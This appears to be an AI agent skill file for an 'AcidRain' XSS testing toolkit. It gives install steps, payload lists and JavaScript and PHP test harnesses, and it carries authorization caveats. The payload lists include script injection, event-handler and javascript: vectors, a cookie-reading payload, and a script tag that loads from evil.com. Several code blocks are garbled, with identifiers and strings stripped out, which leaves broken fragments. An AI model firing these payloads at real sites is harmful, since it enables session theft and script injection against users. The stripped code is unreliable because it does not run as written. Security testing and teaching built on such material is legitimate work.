| name | acidrain-security-testing-toolkit |
| description | Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and learning |
| triggers | ["test XSS vulnerabilities with AcidRain","run AcidRain security scripts","analyze cross-site scripting with AcidRain","use AcidRain injection testing samples","set up AcidRain security toolkit","demonstrate XSS patterns with AcidRain","configure AcidRain for security testing","create XSS test cases using AcidRain"] |
AcidRain Security Testing Toolkit
Skill by ara.so — Security Skills collection.
AcidRain is a web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, and injection testing samples designed for authorized security testing and hands-on learning. This toolkit provides browser-side and server-side scripts for exploring cross-site scripting behavior, input handling, and output processing in controlled environments.
Installation
Clone the repository and navigate to the working directory:
git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git
cd acidrain-security-script-hub
Inspect the directory structure to understand available resources:
ls -la scripts/
Expected structure:
acidrain-security-script-hub/
├── scripts/
│ ├── javascript/ # Client-side security testing scripts
│ ├── php/ # Server-side PHP examples
│ └── xss/ # XSS-specific resources
├── configs/ # Configuration files
├── examples/ # Working examples
├── docs/ # Documentation
├── LICENSE
└── README.md
Key Components
JavaScript Utilities
Client-side scripts for browser-based security testing. Place scripts in test environments or controlled pages:
function testXSSPayload(input, targetElement) {
try {
const sanitized = DOMPurify.sanitize(input);
document.querySelector(targetElement).innerHTML = sanitized;
console.log('Payload rendered:', input);
console.log('Sanitized output:', sanitized);
} catch (error) {
console.error('XSS test error:', error);
}
}
const testPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror="alert(1)">',
'"><svg/onload=alert(1)>',
'javascript:alert(document.cookie)'
];
testPayloads.forEach(payload => {
console.log('Testing:', payload);
testXSSPayload(payload, '#test-target');
});
PHP Security Research Scripts
Server-side examples for testing input validation and output encoding:
<?php
function testInputSanitization($input, $method = 'htmlspecialchars') {
echo "Original input: " . $input . "\n";
switch ($method) {
case 'htmlspecialchars':
$output = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
break;
case 'strip_tags':
$output = strip_tags($input);
break;
case 'filter_var':
$output = filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
break;
default:
$output = $input;
}
echo "Sanitized output ($method): " . $output . "\n";
echo "Encoding applied: " . ($output !== $input ? 'Yes' : 'No') . "\n\n";
return ;
}
= [
,
,
,
];
( ) {
(, );
}
XSS Injection Testing Samples
Common XSS patterns for controlled testing:
const XSSVectors = {
basic: [
'<script>alert(1)</script>',
'<script>console.log(document.cookie)</script>',
'<script src="http://evil.com/xss.js"></script>'
],
eventHandlers: [
'<img src=x onerror=alert(1)>',
'<body onload=alert(1)>',
'<svg/onload=alert(1)>',
'<input onfocus=alert(1) autofocus>'
],
protocol: [
'<a href="javascript:alert(1)">Click</a>',
'<iframe src="javascript:alert(1)"></iframe>',
'<object data="javascript:alert(1)">'
],
contextBreak: [
'"><script>alert(1)</script>',
'\'-alert(1)-\'',
'</script><script>alert(1)</script>',
'`;alert(1);//'
]
};
function runAuthorizedXSSTest(vectors, targetURL) {
if (!confirm('Run tests on ' + targetURL + '? Ensure authorization.')) {
return;
}
vectors.forEach((vector, index) => {
console.log(`Test ${index + 1}:`, vector);
});
}
Configuration
Environment Setup
Create a configuration file for test environments:
const TestConfig = {
targetURL: process.env.TEST_TARGET_URL || 'http://localhost:8080',
authToken: process.env.AUTH_TOKEN,
maxPayloadLength: 1000,
timeoutMs: 5000,
verboseOutput: process.env.VERBOSE === 'true',
logFile: process.env.LOG_FILE || './logs/xss-tests.log',
requireAuthorization: true,
allowedDomains: [
'localhost',
'127.0.0.1',
'test.local'
]
};
module.exports = TestConfig;
PHP Configuration
<?php
return [
'test_mode' => getenv('TEST_MODE') === 'true',
'target_url' => getenv('TEST_TARGET_URL') ?: 'http://localhost',
'auth_token' => getenv('AUTH_TOKEN'),
'max_payloads' => 100,
'timeout' => 30,
'log_file' => getenv('LOG_FILE') ?: './logs/php-security-tests.log',
'verbose' => getenv('VERBOSE') === 'true',
'require_authorization' => true,
'allowed_ips' => ['127.0.0.1', '::1']
];
?>
Common Patterns
Pattern 1: Automated Payload Testing
class XSSTester {
constructor(config) {
this.config = config;
this.results = [];
}
async testPayload(payload, context) {
const testCase = {
payload,
context,
timestamp: new Date().toISOString(),
blocked: false,
sanitized: false
};
try {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
const iframeDoc = iframe.contentDocument;
const testDiv = iframeDoc.createElement('div');
testDiv.innerHTML = payload;
iframeDoc.body.appendChild(testDiv);
testCase.blocked = !iframeDoc.querySelector('script');
testCase.sanitized = testDiv. !== payload;
..(iframe);
} (error) {
testCase. = error.;
testCase. = ;
}
..(testCase);
testCase;
}
() {
.();
( payload payloads) {
result = .(payload, );
(..) {
.(, result);
}
}
.();
}
() {
summary = {
: ..,
: ..( r.).,
: ..( r.).,
: ..( !r. && !r.).
};
{
summary,
: .
};
}
}
tester = ({
:
});
payloads = [
,
,
];
tester.(payloads).( {
.(, report);
});
Pattern 2: PHP Input Validation Testing
<?php
class InputValidationTester {
private $results = [];
public function testValidation($input, $validators) {
$testResult = [
'input' => $input,
'timestamp' => date('Y-m-d H:i:s'),
'validators' => []
];
foreach ($validators as $name => $validator) {
$output = $validator($input);
$testResult['validators'][$name] = [
'output' => $output,
'modified' => $output !== $input,
'length_change' => strlen($output) - strlen($input)
];
}
$this->results[] = $testResult;
return $testResult;
}
public function generateReport() {
[
=> (->results),
=> ->results
];
}
}
= [
=> {
(, ENT_QUOTES, );
},
=> {
();
},
=> {
(, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
},
=> {
(, , );
}
];
= ();
= [
,
,
,
];
( ) {
= ->(, );
. . ;
();
;
}
= ->();
(, JSON_PRETTY_PRINT);
Pattern 3: Context-Aware XSS Testing
const ContextAwareXSS = {
contexts: {
html: {
name: 'HTML Context',
payloads: [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>'
],
testMethod: (payload) => {
const div = document.createElement('div');
div.innerHTML = payload;
return div.querySelector('script') !== null;
}
},
attribute: {
name: 'Attribute Context',
payloads: [
'" onload="alert(1)',
'\' onerror=\'alert(1)',
'"><script>alert(1)</script><"'
],
testMethod: (payload) => {
const img = document.createElement('img');
img.setAttribute('src', payload);
return img.getAttribute('src').includes('alert');
}
},
javascript: {
name: 'JavaScript Context',
payloads: [
,
,
],
: {
{
(payload);
;
} {
;
}
}
},
: {
: ,
: [
,
,
],
: {
.(payload);
}
}
},
() {
context = .[contextName];
(!context) {
.(, contextName);
;
}
.();
results = context..( ({
payload,
: context.(payload)
}));
{
: contextName,
results,
: {
: results.,
: results.( r.).
}
};
},
() {
.(.).(
.(ctx)
);
}
};
results = .();
.(, results);
Troubleshooting
Script Execution Blocked
Problem: JavaScript payloads are not executing in test environment.
Solution: Check Content Security Policy (CSP) headers:
const csp = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
if (csp) {
console.log('CSP detected:', csp.content);
console.log('This may block XSS payloads - expected in production');
}
PHP Script Not Executing
Problem: PHP scripts return source code instead of executing.
Solution: Ensure PHP is installed and web server is configured:
php -v
php -S localhost:8000 -t ./scripts/php
curl http://localhost:8000/input-validation-tester.php
Authorization Checks Failing
Problem: Tests fail due to authorization requirements.
Solution: Set up proper test environment variables:
export TEST_MODE=true
export TEST_TARGET_URL=http://localhost:8080
export AUTH_TOKEN=your_test_token_here
Results Not Logging
Problem: Test results are not being saved to log files.
Solution: Check log directory permissions and configuration:
mkdir -p logs
chmod 755 logs
export LOG_FILE=./logs/xss-tests.log
tail -f ./logs/xss-tests.log
Payload Encoding Issues
Problem: Payloads are automatically encoded or modified before testing.
Solution: Use raw payload handling:
function injectRawPayload(payload, element) {
const original = element.textContent;
element.innerHTML = payload;
const modified = element.textContent;
console.log('Original:', original);
console.log('Payload:', payload);
console.log('Result:', modified);
console.log('Modified:', original !== modified);
}
Best Practices
- Always obtain authorization before testing any system
- Use isolated environments for all security testing
- Document test results with timestamps and configurations
- Never test production systems without explicit permission
- Store credentials securely using environment variables
- Review code before execution to understand behavior
- Maintain test/production separation in configurations
- Follow responsible disclosure if vulnerabilities are found
Safety Considerations
AcidRain is designed for authorized security testing only. Users must:
- Have explicit written permission to test target systems
- Use only in controlled lab environments or owned applications
- Comply with all applicable laws and regulations
- Follow ethical security research practices
- Report findings responsibly to system owners
- Never use tools for malicious purposes
Unauthorized testing may be illegal and unethical. Always operate within defined scope and authorization.
